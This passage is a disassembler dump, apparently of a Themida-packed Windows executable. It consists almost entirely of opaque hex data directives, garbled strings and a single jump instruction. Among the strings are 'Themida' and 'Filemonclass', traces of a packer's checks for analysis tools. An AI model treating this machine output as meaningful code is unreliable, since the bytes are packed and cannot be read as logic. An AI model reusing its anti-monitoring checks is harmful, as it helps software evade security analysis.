13FBF572h, 2EB892A6h dd 7E416300h, 3991F251h, 9C775C9Dh, 5AA90B73h, 80D7CC6Fh dd 498467DDh, 17F82650h, 7301710h, 1F3D32C8h, 3B210B00h dd 0CB5CA8EBh, 0B05B00E6h, 208BEE86h, 9BB6EA2Ch, 8EAD007Ch dd 0C8D85C82h, 31BADA00h, 0CA77610Eh, 0B4A6C4h, 4CDCC2A3h dd 0F65C359Ch, 8AFB1203h, 0F8CEE780h, 78FC73D1h, 502090E1h dd 900F9C52h, 82BE12DCh, 0CE881FC6h, 0D780E081h, 8D420CDBh dd 64EE7324h, 13CB343h, 0CAE1691h, 20FA40C7h, 0A228F344h dd 3011E021h, 0E000D551h, 0E29AE5FBh, 8F39D050h, 0C1111DA2h dd 81478C00h, 24F02789h, 170F788h, 601FD232h, 0D871806Dh dd 90944C8Dh, 0AF9300A0h, 9BDC6EE5h, 0B0E2CAE9h, 0EE4FC940h dd 44B1B4h, 0CDAD1773h, 64122BE5h, 9A009699h, 0D0F4D9C4h dd 0FD5A903Bh, 0C8407422h, 527257h, 5CB9445Eh, 0A39DC704h dd 0AF0404Ch, 8CEC8189h, 4268F107h, 0CA18AD80h, 0FC3311D7h dd 6052267Bh, 29E33540h, 0F800010h, 49365112h, 1C007E45h dd 73CB79CDh, 0A03C0B33h, 104B02BCh, 0D8ED7Ah, 0D02FEEECh dd 2E8CBBA7h, 920655Fh, 7483E406h, 0E1004AB4h, 0D2C1108Bh dd 1828C376h, 0AC6C8D90h, 0B40067BFh, 69A9BD3Ah, 9A71D60Eh dd 13E650h, 22C2B04Ch, 0A0DEEE75h, 4402880Ah, 5930FDCAh dd 13CFF3Eh, 0C8105CC7h, 49615F01h, 7CE800C4h, 9B031411h dd 9E4DCC09h, 5BAFA1E1h, 38301ECh, 10F3A53Ch, 74F825BCh dd 59CB3260h, 20A010D5h, 0D63800C3h, 0AB09E7C6h, 743DAF04h dd 0EB5295A1h, 0FDC900A0h, 4EAA7305h, 0CC760099h, 0D27EF728h dd 0AE4C4D6Bh, 2D0800EBh, 770E547Bh, 0BF9B01ABh, 0C1678EE4h dd 81E84464h, 62D5CB18h, 0B0F501ACh, 15CD23FCh, 9ECCFCh dd 35D86610h, 56A97F17h, 0E08844Ch, 808A183Fh, 0A53B9D19h dd 0E4F512BCh, 0E1800855h, 0A00D5C8Fh, 0A94976ACh, 0BD47916h dd 0B5EA58FFh, 5F118410h, 965AF216h, 55C92005h, 2DEFF000h dd 0B9D6C420h, 0F23F3E4Ch, 9C6313h, 0E7374FEFh, 73068593h dd 76D5A415h, 210E00C1h, 0E3573147h, 0BA0FD20Dh, 20B9AD8Dh dd 4D91BE8Ah, 33A81843h, 0E84859C6h, 74D5C318h, 3F856441h dd 4C75D1ECh, 2A0F9729h, 0D26C04h, 0E8D9F5DCh, 6496D5ABh dd 1963BC80h, 1A63436h, 3A77898Bh, 0DCB280AAh, 7344D735h dd 81C3076Fh, 21F2C55Dh, 0C0CA84BDh, 9005181Ch, 7852A741h dd 2346C4C2h, 87D8E7B6h, 7D39CE02h, 0BC00FF60h, 47F764EBh dd 135840BEh, 44B604B7h, 98F473E8h, 82002FD4h, 0A7DCA942h dd 946068D9h, 9ED2804Ch, 0F1B8AB56h, 9C3B8726h, 0D0404011h dd 0C0234C2Ch, 20B43812h, 8EF4774Ch, 0D6D4B203h, 0A04A7CA5h dd 7EB375Fh, 0D3CBEAD9h, 0E7C14061h, 0E2004DC5h, 1709035Ch dd 2EB8D1A5h, 0C04817Bh, 96088F9Ch, 7C20834Bh, 93CF26h dd 0D227E22Ch, 0A5B3BD2Dh, 9D157104h, 3E037DD5h, 7890FD02h dd 3F0008E4h, 8FAE5313h, 39EAA85Eh, 2C009ECEh, 29C95A4Dh dd 0A97C1036h, 0A38ACA1Ch, 21B935C5h, 0DA0C84C0h, 814D01E3h dd 7A7F410h, 0C0EC2073h, 79037B44h, 0D34701C8h, 0C9353C56h dd 0CA22126Ah, 40D88484h, 0FB21BE40h, 0CB03085Ch, 0FF3C92D8h dd 0A0FCC023h, 27520009h, 26F03FC9h, 18C0AB87h, 854D3033h dd 0DC950502h, 2752990Dh, 0E18A40DCh, 0B824B3E3h, 0ED00842Fh dd 8895818h, 0D8F23CADh, 36860F84h, 24088D7h, 508AB800h dd 0CF1EB968h, 0BAF14856h, 0E77EBC02h, 0E0ECFB33h, 0F3D7041Dh dd 0AB76EE00h, 30732F58h, 0C381DCE6h, 374DC85Eh, 4D220A6Ch dd 8F06E45Fh, 40E0A4h, 8EDE60FDh, 0B92AC7D9h, 0C94AB704h dd 0DB003CB4h, 6056829Dh, 107FD705h, 98805E0Dh, 4BF0C6CDh dd 0F5642722h, 5489C046h, 0AF00B90Fh, 9A41A5FAh, 94FE71AEh dd 1FE201DCh, 51842122h, 0F4340E1Ch, 2E1CC08Fh, 0FBE7538h dd 806AD08Dh, 6C5B89F4h, 603E481Ch, 1900323Ch, 5D0D70FAh dd 22384CC9h, 60E97EAAh, 0CE07E871h, 23CA2CB7h, 900C4469h dd 0AFEE28h, 53D99590h, 0B7BBD47Fh, 44B33B28h, 0D03F2118h dd 0DEBA32h, 0D78D5303h, 78CAF1D1h, 0C988C300h, 8CB6BE3Bh dd 0F95B059Bh, 88587440h, 0FF5233BCh, 0EF1700CCh, 0B47A6B18h dd 7821C04Eh, 0D2640953h, 261FA301h, 0EC1FC11h, 4FF00CC5h dd 0CC5E8C4h, 795FE83Ch, 0B1001D49h, 80702AA2h, 2688EEEFh dd 5910532h, 0C1A5F3CBh, 303CAB00h, 0A91C0F64h, 40ECD084h dd 893D5D08h, 0F1823ABDh, 0C46A9137h, 0E923CF8Fh, 6900675Fh dd 0F4316227h, 2D5A8C7h, 0BF1DE61Ah, 1C68992Eh, 3944B424h dd 496B0406h, 0F4617F56h, 0F1071FC4h, 0FD399862h, 0ED271220h dd 6D1E0071h, 0E177A90Bh, 0EC982BCDh, 0B24C24Ch, 98E3676Bh dd 0F63774h, 8387FA3Ah, 0A356FFE9h, 0EB627028h, 30138CB0h dd 0C4888424h, 33171305h, 0F97B01EFh, 63A41634h, 0C60F00F8h dd 44E1F89Dh, 893500FFh, 27B97FE7h, 0A20941CDh, 813AAB9Fh dd 90D8402Ch, 0C8EB6453h, 0E91ACD5h, 0CFC0F819h, 85F93900h dd 0F54C3516h, 5E748270h, 0EB0643Ah, 2FFB31C9h, 6E7A5480h dd 411DABEFh, 7CA4A8ACh, 49C82914h, 0B33984C8h, 0EE4124B4h dd 46F400A3h, 13AC1D14h, 723937CFh, 753C8262h, 0C0825154h dd 0BB0500h, 0EA60B95Fh, 3EC506ADh, 0A0D61F2Dh, 8B15A944h dd 0A7710058h, 0ADD6746h, 0BE4CCEB6h, 1D7F3B4Dh, 73098ED5h dd 0C41090EAh, 2C8048Ch, 0D2AB8694h, 8862A2A8h, 0EE2C7010h dd 1572D300h, 643CBDBAh, 6D87144Bh, 0FF13E8F1h, 80B86421h dd 6549B110h, 0C491B0BAh, 990B5583h, 0A0CFDB75h, 0C0D251A8h dd 35F93189h, 0C1A33337h, 153F8022h, 0BC726188h, 79B5F276h dd 3CFB1E47h, 21B0AC80h, 65C2053Ch, 703CC0BDh, 56506D78h dd 0B94E8C24h, 88387800h, 4C738626h, 8380D4F3h, 0F80C9BBAh dd 0C104A576h, 0F2737D3Ch, 60B32CB4h, 3F494936h, 401D13E8h dd 340CA8D7h, 5C4881F2h, 535A3CB7h, 4713A8h, 9F11FF54h dd 94A03CB8h, 618942B5h, 87007C69h, 58672034h, 490EBF27h dd 81751EAAh, 590185CBh, 7E56088Ah, 72F703D0h, 9911D3E9h dd 1678B9EAh, 0D5B383ABh, 30A0118h, 0CC56BA54h, 59FA7BF5h dd 0E942B00h, 0F5A2983h, 0BDA51C67h, 0EE51C55Dh, 2CA277h dd 3F7442FAh, 0B3C543Ah, 0BB654F23h, 9E00E444h, 0EF25ACB9h dd 22034Bh, 18DA893Ah, 3CC934ADh, 264E073Dh, 2175092h dd 0FC331002h, 90982967h, 7E0BEB5Ch, 68D5E52Fh, 3FF366BCh dd 0D7879028h, 0D0B27505h, 83A6BC91h, 0FE92A500h, 0FF015657h dd 0E9E8903Ah, 0E8A5E2D6h, 61E573B4h, 0FD5B61DEh, 80A83857h dd 0E4E5179h, 55400B2h dd 0A5DF7BC2h, 1AEE45AEh, 811BD11Ch, 0A4C0F064h, 804D0143h dd 0D0137331h, 4C0762A8h, 0E3304FFh, 529FE974h, 0A2005033h dd 49899DF5h, 87505525h, 9084BBFCh, 0FB5B1200h, 0E59CC857h dd 0C300CCB8h, 65CBF250h, 1ED28304h, 47A77985h, 0D6354DDDh dd 0E80E615Fh, 658BA89Eh, 50C01559h, 7D4BEE9Ah, 1DA0B806h dd 2496ABE9h, 558A3AC0h, 685974h, 30365CA6h, 203FF45h dd 0B035A3Bh, 0CA2189B7h, 501C4E0h, 0A4B549CEh, 0D1D42051h dd 7A097D97h, 0EA98409h, 2DFDA1A4h, 13CBB63Ch, 564FE10h dd 2045B82Dh, 33A915C4h, 0F020C85Bh, 17C2796h, 25D42ADh dd 3DD6123Dh, 0E46E01CCh, 0D5A2FCE6h, 0A5E7330h, 0F435327Fh dd 2516007Ch, 31AFDEA9h, 2274245Ch, 0D72C2CF0h, 0C6FA4000h dd 0A00089CAh, 0D67597B3h, 0CDD586h, 8F25A866h, 353A28FFh dd 0CB4160B4h, 70780456h, 64C50D89h, 3C8E740h, 667802CCh dd 43EC23BFh, 0B3F3E898h, 15E5CB00h, 4A2C206Eh, 0DEEE006Ah dd 3E147D38h, 4C01BE5Ch, 9BD2C0D9h, 3CE0A5E8h, 90FF825h dd 33C1FA92h, 5CB6880h, 0AC48E85Dh, 45F2C090h, 369D46Bh dd 5F8FAAA5h, 0ECD88507h, 0E0162E4h, 8BED54C8h, 0D1946C60h dd 73AD2Ch, 0E82B57Dh, 0A19C46FCh, 8F29B812h, 0E8905C37h dd 388855A9h, 82BB4DBAh, 8C5FD514h, 1657EC80h, 511F77F2h dd 2300E3C4h, 0B578E63Fh, 9A181E1Dh, 414EC90h, 8C4D83ADh dd 230E67BCh, 0C0C436D3h, 9A31FCB2h, 6343873h, 17B04600h dd 56CC64CEh, 2FEF40Bh, 3A3C07D0h, 2D853D77h, 27F40CCh dd 81F34758h, 0A6276B61h, 0FF1E0130h, 6E347351h, 0D9EC1977h dd 2E011381h, 154CCF05h, 0ADD4BCEFh, 0F06F1628h, 2454CC8Ah dd 4AFF5A39h, 6C1C7185h, 22F29800h, 9160C935h, 0A2E58018h dd 0D9D2B9E9h, 3300E876h, 0BF2C3A03h, 1779B65Ch, 0C9816616h dd 603461E0h, 0CE02A2DAh, 0D4CCE17Bh, 39D040A3h, 34B151h dd 141D93CAh, 33FAB242h, 0B9BC103h, 0E85EE1B1h, 0E783B9h dd 569A8536h, 8628C952h, 84AFB826h, 25450301h, 68726089h dd 0F06A600h, 350A63FBh, 0E20B767Ch, 297488h, 2301035Ch dd 0EA8200B1h, 8BF25199h, 72EA43Fh, 7F605052h, 0E4C344h dd 946DEFCDh, 0F68915BFh, 0E38D802h, 0C0DDA017h, 4C8646BCh dd 48227481h, 0B32CFE17h, 0FF994090h, 74300CACh, 45289412h dd 163CD08Ah, 2051AB84h, 1F676C40h, 78F49900h, 0A52BCD5Dh dd 0CFE2000Ah, 24D831D9h, 742E5186h, 80C9AC58h, 0EA05B908h dd 73AE0AD1h, 4CCD395h, 0C00E565Bh, 40BDCB48h, 0C17A1E28h dd 80A45258h, 9AABD19Ch, 0DA2B1CECh, 6182C541h, 76A4417Ah dd 0D4A69209h, 8C00ABA5h, 9CF69F67h, 0B30B11h, 0DC5B6522h dd 0FD56B9AFh, 0F3AE58h, 0D804EF36h, 0B8B8448Bh, 0E03912E0h dd 0C154C42Ah, 116BFF88h, 54725774h, 17DA5D01h, 4460DDB0h dd 621C140h, 0D039F184h, 9000E364h, 0EE58776Bh, 4F2832F3h dd 0BB4C2022h, 1800C8FBh, 0DD814375h, 2D8A44B2h, 9490AF4Ch dd 61EE9D0h, 5C401F75h, 536E0DB7h, 0B85E008Ah, 8DD546E2h dd 8C5058C7h, 289CEC9Ch, 3DF9A440h, 617E263Bh, 71470Ch dd 2C5E1FD7h, 31645800h, 0BC6D402Bh, 0F0C8006Fh, 0B636E509h dd 0F8BC6A74h, 8C432945h, 0C1D4FC5Fh, 1832512Ah, 95F61903h dd 0E5E0CF6Ah, 8D00E22Bh, 3977547Ah, 251BD40h, 29B9C1A6h dd 0FFC04489h, 0A100CCC8h, 353FBE49h, 0B6973C12h, 4C1027F0h dd 8A908ED8h, 2D7F6B00h, 200EBF89h, 0A72805C8h, 0B4520FACh dd 9F0F6FDCh, 0E0E99EF7h, 0CD8616ABh, 94F204h, 5C21BD52h dd 8E91E2DCh, 1C91A01h, 96A24D84h, 39DFF1F0h, 204BE879h dd 0EA2FCD2Ch, 1168A38h, 0D6D95430h, 0FBC95394h, 98575C20h dd 61E8A238h, 0B91248A0h, 2D0AFC50h, 645E5C0Ch, 0A2294980h dd 4BBAFC9h, 80D6DA78h, 0A1A48019h, 64A899A9h, 0FBF6EB9Ah dd 827B2500h, 730230FEh, 21E46BE0h, 993EAC44h, 0DA5C00CAh dd 944505B8h, 4371264Eh, 0CF7603F9h, 5D9AEBE3h, 5BD6D880h dd 0F1256410h, 2480C2C9h, 0EA4067B4h, 875C06A2h, 6266B90Fh dd 5EA7E054h, 952E7022h, 0A9684890h, 1C85B901h, 7B5BA741h dd 8D0A4850h, 49EF002Fh, 0AA8C33DAh, 1060C382h, 0E43EB526h dd 63C70950h, 0C048F334h, 0FE009ACBh, 7826D71h, 1F565311h dd 74DC5Fh, 0C04CC910h, 7D001454h, 0E19E085Ch, 1A83973h dd 22BEAAE8h, 6DD73CB7h, 2D1F1650h, 50428F03h, 0CBE9B8F5h dd 90A4E483h, 7310172Ch, 0B24024EDh, 0D91400F4h, 3C03C390h dd 657B0074h, 0ECE320B1h, 0D24B1A36h, 6FF1D820h, 0E1320045h dd 0DD715446h, 0C1017B70h, 65DF9504h, 0CBE8C44Dh, 86BC0FADh dd 0E3856824h, 94F40284h, 48C4FA33h, 0A7F6E0C5h, 6500D8F2h dd 0B1608551h, 8D009895h, 68EA966Fh, 7EE022h, 0DA4140BFh dd 0A8EEB5E4h, 0ED827409h, 7FF044A7h, 0D2D80090h, 3A6183ECh dd 0FA5A346Dh, 530D3C30h, 0C43C18DCh, 0A904404Ch, 0E03DAF7Ch dd 5228054Bh, 30F11DA3h, 0FFF8E0CEh, 94B3523Bh, 0DCF03601h dd 0F4D6C047h, 0BC790B2Bh, 0C6C37200h, 54BF3015h, 8F9A03E4h dd 9582B86Bh, 8100ECF3h, 6CA54169h, 12D755F6h, 0A02833C7h dd 61F690D8h, 8D017CB9h, 0D942942Ah, 0F46026F9h, 0B93188DFh dd 0EAB84009h, 3FCD1B6h, 985B462Ah, 7452A4D8h, 0FC19212Ch dd 18026911h, 6C632E0Eh, 921DA4D9h, 4993F580h, 988E3156h dd 0D02F1CF8h, 39781A33h, 4A00F066h, 9D3B60C2h, 2A6AC1h dd 0DED4443Fh, 0BC7C887Ah, 0C526621Dh, 0E9A725C0h, 911D20E3h dd 50D080ACh, 0CC4A52BFh, 99331401h, 40B3518h, 0A0402030h dd 0F829DDCCh, 0C8F70156h, 0FB06B27h, 572085D6h, 0ACC0CA1Ch dd 907D9740h, 84790900h, 0BC189619h, 0F977DC6Eh, 0A16F0700h dd 0D55E8041h, 949038D6h, 7392B783h, 80DCF8F6h, 618DAC44h dd 7DC7944h, 32E1C0D4h, 4D7620F7h, 0D60B503h, 0B8CD1A62h dd 0B6A5023Ch, 607BDDBDh, 4FE480C4h, 8E029000h, 2C0B338Ch dd 4E88B624h, 80C30A05h, 0E3BE48DBh, 0FF4B3400h, 1FB4781Ch dd 37C9008Fh, 97B2F1E2h, 5830B93Ah, 0E83DF01Dh, 0A37809Ch dd 90518A28h, 6F260F12h, 4D024C02h, 4FC060B5h, 57A4A02Ch dd 28E903Ah, 9E776C7Dh, 40F03B56h, 615B4AEEh, 95452840h dd 40B5DEh, 0C21DC52Fh, 2AA1A5F1h, 115A3C02h, 62B7A3B6h dd 15CE4E8h, 1931B9B5h, 17686118h, 0FAFCEE00h, 0F92700E5h dd 2026DF77h, 2B1356A9h, 790108B9h, 0D3BE025Ch, 0A079002Fh dd 0E79F22BDh, 0BC8F5124h, 0CBA7FE00h, 0F0103A85h, 0BB0B161h dd 35FCAF8Eh, 5613341Fh, 86A80090h, 2C5514D3h, 0D2004460h dd 0C6CEBE13h, 0DA3AC488h, 735F0911h, 0B42890F3h, 0EE41C131h dd 0E8041750h, 0C503AE26h, 0F83FF0B1h, 9EE7A851h, 0EAD902E2h dd 0CC23E393h, 0FFFF0197h, 0DBh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53C7BF: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_53FB14 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 6D138EFCh, 5A4DFCh, 0FD964EEAh, 4 dup(0) dd 3A0h, 3 dup(0) dd 1DE3D97h, 2 dup(0) dd offset aFilemonclass ; "Filemonclass" dd 240000Ch, 0 dd 9FFA56h, 0Bh dup(0) dd 7FFE0304h, 5 dup(0) dd offset asc_5BBAFE ; "ллллллллллллллллллллллллллллллллллллллл"... align 10h dd 77D4C96Ah, 0FFA88A42h, 6 dup(0) dd 0ADB1CAh, 4 dup(0) dd 0F610510Ch, 2 dup(0) dd 7FF60F14h, 5 dup(0) dd 5E8h, 20h dup(0) dd 9F69DDh, 0A3A5E7h, 0 dd 0FB61A8h, 6 dup(0) dd 0FFA74DFCh, 4 dup(0) dd 0EE8h, 0 dd offset dword_56FEC0 dd 5 dup(0) dd offset dword_53E1C0 dd 5 dup(0) dd offset byte_594533 dd 0FFFFFF80h, 0F88CA801h, 2 dup(0) dd 7B3Ah, 2 dup(0) dd 783Fh, 0Fh dup(0) dd 0A17316h, 7FFE0304h, 0FE00CFEDh, 7 dup(0) dd 10DDFh, 0 dd 1959823Ch, 4 dup(0) dd 0FFFFFFFEh, 0Ah dup(0) aCycw db 'cyГw',0 align 2 db 'X',0 dd 0 dd offset dword_52F848+7DBh dd 5 dup(0) dd offset byte_56C991 align 10h dd 0F905090h, 2 dup(0) dd 0FC7Fh, 3 dup(0) dd offset dword_52F848+7DBh dd 0Dh dup(0) dd offset dword_5ABBF8 align 10h dd 0D402h, 2 dup(0) dword_53CB1C dd 710451BCh, 9F69DDh, 0Bh dup(0) dd 15E351C0h, 0 dd 783Fh, 0Bh dup(0) dd 7B3Ah, 5775BEh, 4 dup(0) dd 0FEC12C46h, 8 dup(0) dd 8000DF8Bh, 5989D6h, 11h dup(0) aGaj0us db 'ё─╕м0НS',0 dd 4 dup(0) dd 0A0h, 2 dup(0) dd 3240h, 0F440245Bh, 4 dup(0) dd offset dword_586464 dd 0 dd offset dword_582624 dd 0 dd offset dword_5893E4 dd 2 dup(0) dd offset dword_574E38 dd 5 dup(0) dd 25BFFFFh, 2 dup(0) dd offset dword_52F848+7B8h dd 0 dd offset word_5B3196 dd 77DD5ECCh, 0FFFE16E5h, 2 dup(0) dd 0DF6D68h, 9F9393h, 7 dup(0) dd 9F69DDh, 3 dup(0) dd 1, 0 dd 667F6926h, 1, 9F6CB0h, 9F8C0Ah, 5 dup(0) dd offset word_5775BE dd 6 dup(0) dd offset dword_5985A8 dd 4 dup(0) dd 5B05h, 0 dd 0AFA1FEh, 77E60000h, 2 dup(0) aZasw db 'zAХw',0 align 4 dd offset word_574BFE dd 77E60000h, 5 dup(0) dd 8D9Dh, 2 dup(0) dd 1F0C0h, 0 dd offset dword_5AF940 align 10h dd 74h, 0FEA00050h, 10h dup(0) dd offset byte_581725 dd 0Dh dup(0) aJCw db '├дГw',0 align 4 dd 5 dup(0) dd 0FFFFAFE7h, 6 dup(0) dd offset word_590242 dd 0B60000h, 0FDF821B8h, 56FEE8h, 60h, 2 dup(0) aNnT db '██{▓',0 align 4 dd offset dword_53F3B8 dd 4 dup(0) dd 77F5180Bh, 3 dup(0) dd 0FFFFFFA0h, 9FA00Fh, 5 dup(0) dd offset byte_57F3D9 dd 4 dup(0) dd 304h, 2 dup(0) dd 2590000h, 0EBDE04EBh, 4 dup(0) dd 188828h, 9F2292h, 0FFFFFFFFh, 6B780CF1h, 3 dup(0) dd offset byte_57DA4B align 8 dd 7B3Ah, 2 dup(0) dd 1000h, 56F71Ch, 0Ch dup(0) dd offset dword_5B3228 dd 9F09F7h, 0B0E9h, 5 dup(0) dd 0FE500050h, 2 dup(0) dd 9FA037h, 0 dd 0AAE41C3Fh, 98h, 0 dd 0FF0799B4h, 5 dup(0) dd 0A280105h, 0 dd 9F2BDEh, 3 dup(0) dd 9F6CB0h, 0 a0I db 'ъ0е╘',0 align 4 dd 9 dup(0) dd 13CE9h, 9 dup(0) dd 80h, 0 aBJa db '│>J═',0 align 4 dd 6 dup(0) dd 7FFE0304h, 30DFh, 2 dup(0) dd offset aA_2 ; "`aб\b" dd 3 dup(0) dd 0FFA80000h, 2 dup(0) dd 77F50000h, 0 dd offset dword_580000 align 10h dd 1, 0 dd 2A721FC9h, 77DD59F0h, 5B05h, 2 dup(0) a6666 db '6666',0 align 4 dd 8 dup(0) dd 9F6FA4h, 5BC853h, 2Ch dup(0) aCw db '╣\Гw',0 align 4 dd 5 dup(0) aCc db 'ъФФ[',0 align 10h dd 3 dup(0) dd 0FFA80000h, 2 dup(0) dd 77F7EBB3h, 5 dup(0) dd offset byte_5A422F align 10h dd 0A8h, 57A3DBh, 2 dup(0) dd 1, 2 dup(0) dd 77EB87F2h, 53FA9FECh, 3 dup(0) aHkj db 'h╙J=',0 align 4 dd 168016E7h, 2F6C3Fh, 1, 0 dd 440FB346h, 6 dup(0) dd 1, 9 dup(0) aVlcwpe db '┌▀Гw╞Eь<',0 align 4 dd 2 dup(0) dd 77F50000h, 0Fh dup(0) aKh db 'ш╧kH',0 align 4 dd 0 dd offset byte_57F3D9 aSjiw db 'И╕Кw',0 align 4 dd 16h dup(0) dd 7FFE0304h, 2 dup(0) dd offset dword_575B94 dd 0 dd 25BF9FEh, 2 dup(0) dd 0FFFF992Ch, 6 dup(0) dd offset word_578BD6 dd 7 dup(0) dd 2890000h, 1, 5 dup(0) dd 90h, 4 dup(0) dd offset word_5B3196 dd 0 dd 0FF524E36h, 2 dup(0) dd 1, 8 dup(0) dd offset dword_52F848+7DBh align 10h dd 35F234D7h, 3 dup(0) dd offset dword_580000 dd 2 dup(0) dd 801DD2C4h, 2 dup(0) dd 77DD189Ah, 0 dd 9F0001h, 3C600h, 2 dup(0) dd 1, 57E34Bh, 8 dup(0) dd offset byte_57C4E3 align 10h dd 86D8061Bh, 3 dup(0) dd offset dword_580000 dd 11h dup(0) dd 4, 2A721FC9h, 6 dup(0) dd 99E9h, 0 dd 939Eh, 2 dup(0) dd 0FFFFFDFFh, 0 dd 2400000h, 3 dup(0) dd 12FF54h, 56FF10h, 77FF01F8h, 0 dd 1, 9E0FE6h, 4 dup(0) dd 7FFE0304h, 6 dup(0) dd 9E0000h, 2 dup(0) dd 0FFFFBFBBh, 5 dup(0) dd 77E7A5FDh, 76B41B40h, 4F7h, 0Dh dup(0) dd offset word_574BFE dd 0 dd 0FFFF9CFAh, 4 dup(0) aS_5 db 'шИ',8,'-',0 align 10h dd 0 dd 6FAE9h, 0Eh dup(0) dd 0FFFFFFFEh, 5733BFh, 53EE31h, 0 dd 85h, 4 dup(0) dd 70h, 0 dd offset word_57DA46 dd 0 aJW db 'jитw',0 align 4 dd 2 dup(0) dd 2486B9Ch, 24242424h, 6 dup(0) dd 17E64B7h, 0 dd offset byte_57F3D9 dd 4 dup(0) aXste db '∙▒▓e',0 align 4 dd 18FFFB0h, 2 dup(0) dd 0A01568h, 3 dup(0) dd 6B2559Bh, 3 dup(0) dd 77E805D8h, 4 dup(0) dd 50DA7DF4h, 1Bh dup(0) dd 9F8C0Ah, 9F69DDh, 8 dup(0) dd 53FA9FECh, 4 dup(0) dd 67h, 2 dup(0) dd 2165243Fh, 540586h, 8 dup(0) dd 1, 3 dup(0) dd 8A0FB5E2h, 6940h, 4 dup(0) dd 0A023E8h, 0Bh dup(0) dd 66C8h, 0 dd offset byte_595B05 dd 7184h, 5 dup(0) dd 77D40000h, 2 dup(0) dd 7FFE0304h, 9F69DDh, 3 dup(0) dd 0FFBFFE28h, 0Fh dup(0) dd 2700270h, 3 dup(0) dd 0AD0000h, 4 dup(0) dd 982633A9h, 77E80618h, 0 dd offset dword_4E3354+6CFh dd 5 dup(0) dd 9F9C37h, 595B05h, 0 dd 0FFFF9AC0h, 0 dd 0FFA8A46Ch, 4 dup(0) dd offset byte_588495 dd 0 dd offset byte_5408CF dd 0 dd offset byte_5AADC9 align 10h dd 7Ch, 2 dup(0) dd 970850FAh, 7 dup(0) dd 2Bh, 4 dup(0) dd offset byte_5A95E9 dd 5 dup(0) dd 0FE000050h, 4 dup(0) db '""""""""',0 align 2 db 'X',0 dd 0 aTa db 'Ta╟у',0 align 4 dd offset dword_58FF94 align 10h dd 0FFEEFFDDh, 5 dup(0) aYjaa db 'yj²─',0 align 10h dd offset word_5637E2 dd 1BE000h, 596AE5h, 0 dd 0FFFF9FB8h, 5 dup(0) aCpcwf db 'Г╞Гw■',0 align 10h dd 0 dd 667F6926h, 5 dup(0) dd offset dword_59456C dd 0 dd 8A0FB5E2h, 5704AAh, 2 dup(0) dd 38h, 2 dup(0) dd 4, 4 dup(0) dd offset dword_53CB1C+1Ch dd 0 dd 2580000h, 57939Eh, 78h, 0FF605FF1h, 2 dup(0) dd 5B94h, 2 dup(0) dd 0FFA88706h, 2 dup(0) dd 2590000h, 5061F86Fh, 12FFE0h, 57F5FFh, 4 dup(0) aNL db '█$>L',0 align 4 dd 4 dup(0) dd offset word_5B3196 align 10h aSsm db 'sИM╪',0 align 4 dd 3 dup(0) dd 0D278099h, 0A9C530DFh, 12FFC4h, 0 dd 0FFFF87C1h, 2 dup(0) dd 84h, 2 dup(0) dd 0FFCh, 3 dup(0) dd offset byte_5A4BC9 dd 4 dup(0) dd 7FFE0304h, 5 dup(0) dd 1, 58C267h, 0 dd 7B3Ah, 6 dup(0) dd offset byte_5ABBA9 dd offset byte_5874B9 align 10h dd 4, 0Bh dup(0) dd offset dword_5A00DC align 8 dd 7B3Ah, 0FFF4C2CFh, 8 dup(0) aThemida db 'Themida',0 dd 1Ch dup(0) dd offset dword_5AAD2C dd 6 dup(0) aBk db 'B┼йю',0 align 4 dd 5 dup(0) dd 0A1B134h, 3 dup(0) dd 1647CA77h, 3 dup(0) dd offset word_57A45E align 10h dd 39h, 7 dup(0) dd 8Ch, 2 dup(0) aLs db '╚≤- ',0 align 4 dd 0B3h dup(0) dd 9F03A0h, 77EB87F2h, 2 dup(0) dd 99E9h, 0 dd 99E9h, 3 dup(0) dd offset aYQrs+2 dd 7 dup(0) dd 9F3E3Bh, 0C2E0000h, 3 dup(0) dd 0FF606EA5h, 0EA323Ch, 3 dup(0) dd 7F3F0h, 7FFE0304h, 0 dd 0ECh, 7 dup(0) dd offset byte_5737F7 dword_53E070 dd 380h, 2 dup(7FFE0304h), 2 dup(0) ; DATA XREF: Themida_:0053F174o aSsm_0 db 'sИM╪',0 align 4 dd 4 dup(0) dd 9FA00Fh, 2 dup(0) dd 7FFE0304h, 2 dup(0) dd 0F5AFFFFAh, 3 dup(0) dd 0FFFFAFE7h, 2 dup(0) dd 0FFFF9818h, 2 dup(0) dd 0FFE3446Fh, 4 dup(0) aMbp db '#M│p',0 align 4 dd 0 dd 746FCA9h, 2 dup(0) dd 77E7AC5Eh, 0FF1EC207h, 2DB02A30h, 14h dup(0) dd 3F11700Eh, 3 dup(0) dd offset sub_401000 dd 0 dd 1, 3 dup(0) dd 0EC69B1Ah, 4 dup(0) dd 0FF5Ch, 3 dup(0) dd 0AAE41C3Fh, 0 dd offset aLS ; "`▀\\$$Х" dd 493Fh dword_53E1C0 dd 2, 5B3196h, 0 ; DATA XREF: Themida_:0053C998o dd 0FFFFFFFFh, 2 dup(0) aVlcwV db '┌▀ГwьйV',0 dd 8 dup(0) dd offset byte_570023 align 8 dd 9EB168h, 575990h, 5 dup(0) dd offset dword_576920 dd 0 dd offset word_5B3196 dd 16h dup(0) dd offset word_59BA4E align 10h dd 10947275h, 0 dd offset byte_5B438D dd 0Dh dup(0) dd 9F5E2Eh, 0 dd 0A17FD8h, 2 dup(0) dd 36000h, 7 dup(0) dd 6BAAh, 77E76A2Eh, 3 dup(0) dd 7FFA090Ch, 5 dup(0) dd 0EBDE04EBh, 5 dup(0) dd 0A944h, 84h dup(0) dd 0E80h, 4 dup(0) dd 32597F5Dh, 3 dup(0) dd 1, 6 dup(0) dd 7FFE0304h, 6 dup(0) dd 144F2BCFh, 8 dup(0) aQD db '^О╩╓',0 align 2 db 'X',0 aD_2: unicode 0, <╓>,0 dd 0 a?bcw db '?║Гw',0 align 4 dd 2 dup(0) dd offset dword_53F634 dd 23FFFD3Fh, 8 dup(0) dd 9F3145h, 6 dup(0) dd 0A022D8h, 578BD6h, 1C1D3h, 7FFE0304h, 3 dup(0) dd offset dword_591150 dd 4 dup(0) dd 0A19BACh, 0Ch dup(0) a5c2 db 'ъ5√2',0 align 10h dd 68F7AF06h, 0 a0I_0 db 'ъ0е╘',0 align 10h dd 3 dup(0) dd 9F69DDh, 6 dup(0) dd 0A07BF3h, 0Ah dup(0) dd 7FFE0304h, 3 dup(0) a@zIpq db '@╖╪╢КP÷',0 align 10h aPq db 'дp÷',0 dd 4 